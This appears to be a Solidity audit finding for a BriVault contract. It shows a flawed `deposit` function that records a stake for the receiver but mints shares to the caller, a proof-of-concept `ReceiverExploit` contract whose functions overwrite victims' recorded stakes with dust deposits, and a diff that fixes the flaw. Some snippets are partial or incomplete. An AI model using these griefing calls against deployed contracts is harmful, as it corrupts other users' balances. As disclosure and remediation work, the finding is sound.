function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
stakedAsset[receiver] = stakeAsset;
_mint(msg.sender, participantShares);
emit deposited(receiver, stakeAsset);
return participantShares;
}
pragma solidity ^0.8.24;
import "./BriVault.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReceiverExploit {
BriVault public vault;
IERC20 public asset;
constructor(address _vault) {
vault = BriVault(_vault);
asset = IERC20(vault.asset());
}
function griefVictim(address victim) external {
asset.approve(address(vault), 100);
vault.deposit(100, victim);
}
function accountingManipulation(address[] memory victims) external {
for (uint i = 0; i < victims.length; i++) {
vault.deposit(1, victims[i]);
}
}
function demonstrateInconsistency() external {
address alice = address(0x1234);
asset.approve(address(vault), 1000e6);
vault.deposit(1000e6, alice);
}
function frontrunDeposit(address victim, uint256 victimAmount) external {
vault.deposit(1, victim);
}
}
contract ScenarioDemo {
BriVault vault;
IERC20 asset;
function demonstrateIssue() external {
}
}
function deposit(uint256 assets, address receiver) public override returns (uint256) {
- require(receiver != address(0));
+ require(receiver == msg.sender, "Can only deposit for yourself");
+ require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
- _mint(msg.sender, participantShares);
+ _mint(receiver, participantShares); // Mint to receiver for consistency
emit deposited(receiver, stakeAsset);
return participantShares;
}
+// Or better: remove receiver parameter entirely
+function deposit(uint256 assets) public returns (uint256) {
+ address receiver = msg.sender;
+
+ if (block.timestamp >= eventStartDate) {
+ revert eventStarted();
+ }
+
+ uint256 fee = _getParticipationFee(assets);
+ if (minimumAmount + fee > assets) {
+ revert lowFeeAndAmount();
+ }
+
+ uint256 stakeAsset = assets - fee;
+ stakedAsset[msg.sender] = stakeAsset;
+ uint256 participantShares = _convertToShares(stakeAsset);
+
+ IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
+ IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
+ _mint(msg.sender, participantShares);
+
+ emit deposited(msg.sender, stakeAsset);
+ return participantShares;
+}